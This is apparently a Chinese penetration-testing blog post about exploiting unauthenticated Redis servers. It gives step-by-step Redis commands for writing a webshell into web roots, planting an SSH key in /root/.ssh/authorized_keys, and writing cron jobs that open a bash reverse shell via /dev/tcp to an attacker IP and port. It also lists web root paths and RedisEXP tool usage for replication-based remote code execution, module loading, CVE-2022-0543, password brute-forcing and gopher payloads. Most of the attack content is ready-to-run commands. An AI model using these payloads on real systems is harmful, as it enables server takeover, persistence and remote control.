前言

最近在渗透测试中遇到了一些redis未授权利用的一些问题(拿到了Redis权限,但在提权时,shell写不进去,亦或是弹shell弹不出来)

虽然之前在打红日靶场中遇到过redis的站点,但当时没有深究关于redis未授权的问题,所以今日补补当时留下的坑点

基础命令

命令 功能 典型用途 限制版本/条件
config set dir "路径" 设置目录 路径劫持 Redis < 6.2(默认无 ACL)
config set dbfilename "文件名" 设置文件名 文件覆盖 Redis < 6.2(默认无 ACL)
set "键名" "值" 写入内存数据 文件构造
save / bgsave 将内存数据持久化到磁盘 文件落地 需持久化功能开启
del "键名" 删除内存中的键 痕迹清理 需配合 flushall 彻底清除

🖥️ 利用方式对比表(Linux / Windows)

系统 写 WebShell SSH Key 定时任务/计划任务 配置劫持 启动项写入
Linux ✅需 Web 目录写权限 ✅需用户 .ssh 目录可写 ✅需 /var/spool/cron/etc/cron.* 可写 ✅ 修改 ~/.bashrc/etc/profile ❌ 无传统启动项机制
Windows ✅需 Web 目录写权限 ✅需管理员权限执行命令 ❌ 需依赖注册表/服务劫持 ✅ 注册表或启动目录可写

📁 常见 Web 根目录路径

🔸 Linux

路径 所属平台 补充说明
/var/www/html/ Apache 默认 Debian/Ubuntu 默认路径
/usr/share/nginx/html/ Nginx 默认 CentOS/RHEL 默认路径,编译安装可能为 /usr/local/nginx/html/
/www/wwwroot/ 宝塔 实际路径通常为 /www/wwwroot/域名/(需动态替换域名)
/home/wwwroot/ LNMP LNMP 一键包默认路径,可能包含子目录如 /home/wwwroot/default/
/var/www/vhosts/ Plesk 具体路径为 /var/www/vhosts/域名/httpdocs/,需域名替换

🔹 Windows

路径 所属平台 补充说明
C:\inetpub\wwwroot\ IIS 默认 IIS 默认根目录,需注意 IIS 用户组权限(如 IIS_IUSRS
D:\wwwroot\ 宝塔 Win 宝塔 Windows 版默认路径,实际为 D:\wwwroot\域名\(需动态替换域名)
D:\xampp\htdocs\ XAMPP XAMPP 集成环境路径,可能包含子项目目录(如 D:\xampp\htdocs\project\
D:\phpStudy\WWW\ phpStudy phpStudy 默认路径,实际为 D:\phpStudy\WWW\\域名\(需动态替换域名)
D:\apache-tomcat-*\webapps\ROOT\ Tomcat 需替换 * 为实际版本号(如 9.0.85),默认安装路径在 C:\Program Files

💥 利用代码片段

1. 写WebShell

将文件保存到web根目录下(需要知道web根目录路径)

当写入的数据较大时写入数据会被压缩,若禁用压缩需要使用命令config set rdbcompression no

config set dir "Web目录"
config set dbfilename "文件名"
set "键名" "一句话木马"
config set rdbcompression no #禁用压缩
save

image-20250522161908589

image-20250522161318165

2. 写 SSH Key

本地ssh-keygen生成公钥与私钥,将公钥放在redis未授权服务器/root/.ssh/authorized_keys

忆往昔

config set dir /root/.ssh/
config set dbfilename authorized_keys
set "键名" "\n\n公钥文件\n\n"
save

image-20250522213948011

image-20250522215823650

image-20250522215905114

image-20250522215919869

3. 写 Linux Cron

写入计划任务,在/etc/cron.d/var/spool/cron下生成文件

/etc/cron.d下的计划任务文件名可以是随机的,但计划任务命令需要指定用户名

/var/spool/cron下的计划任务文件名和用户名相同,会覆盖文件,可能会破坏生产环境

config set dir /etc/cron.d
config set dbfilename "任意文件名"
set "键名" "\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
save
config set dir /var/spool/cron
config set dbfilename root
set "键名" "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
save

image-20250523103430222

image-20250523103454915

image-20250523103540008

⚔️ 利用工具

ARDM

image-20250521112839770

RedisEXP


██████╗ ███████╗██████╗ ██╗███████╗ ███████╗██╗ ██╗██████╗
██╔══██╗██╔════╝██╔══██╗██║██╔════╝ ██╔════╝╚██╗██╔╝██╔══██╗
██████╔╝█████╗ ██║ ██║██║███████╗ █████╗ ╚███╔╝ ██████╔╝
██╔══██╗██╔══╝ ██║ ██║██║╚════██║ ██╔══╝ ██╔██╗ ██╔═══╝
██║ ██║███████╗██████╔╝██║███████║ ███████╗██╔╝ ██╗██║
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝

基本连接:
RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456

执行Redis命令:
RedisExp.exe -m cli -r 192.168.19.1 -p 6379 -w 123456 -c info

加载dll或so执行命令:
RedisExp.exe -m load -r 目标IP -p 目标端口 -w 密码 -rf (目标 dll | so 文件名)
RedisEXP.exe -m load -r 127.0.0.1 -p 6379 -rf exp.dll -n system -t system.exec

主从复制命令执行:
RedisExp.exe -m rce -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行] -rf 目标文件名[exp.dll | exp.so (Linux)]
RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami
RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami -rf exp.so

主从复制上传文件:
RedisExp.exe -m upload -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件
RedisEXP.exe -m upload -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -rp . -rf 1.txt -lf .\README.md

主动关闭主从复制:
RedisExp.exe -m close -r 目标IP -p 目标端口 -w 密码

写计划任务:
RedisExp.exe -m cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort
RedisEXP.exe -m cron -r 192.168.1.8 -p 6379 -L 192.168.1.8 -P 9001

写SSH 公钥:
RedisExp.exe -m ssh -r 目标IP -p 目标端口 -w 密码 -u 用户名 -s 公钥
RedisEXP.exe -m ssh -r 192.168.1.8 -p 6379 -u root -s ssh-aaaaaaaaaaaaaa

写webshell:
RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容 [base64内容使用 -b 来解码]
RedisEXP.exe -m shell -r 127.0.0.1 -p 6379 -rp . -rf shell.txt -s MTIzNA== -b

CVE-2022-0543:
RedisExp.exe -m cve -r 目标IP -p 目标端口 -w 密码 -c 执行命令

爆破Redis密码:
RedisExp.exe -m brute -r 目标IP -p 目标端口 -f 密码字典
RedisEXP.exe -m brute -r 127.0.0.1 -p 6378 -f pass.txt

生成gohper:
RedisExp.exe -m gopher -r 目标IP -p 目标端口 -f gopher模板文件

执行 bgsave:
RedisExp.exe -m bgsave -r 目标IP -p 目标端口 -w 密码

判断文件(需要绝对路径):
RedisExp.exe -m dir -r 目标IP -p 目标端口 -w 密码 -rf c:\windows\win.ini

写计划任务

image-20250521112955202

MDUT

🔗参考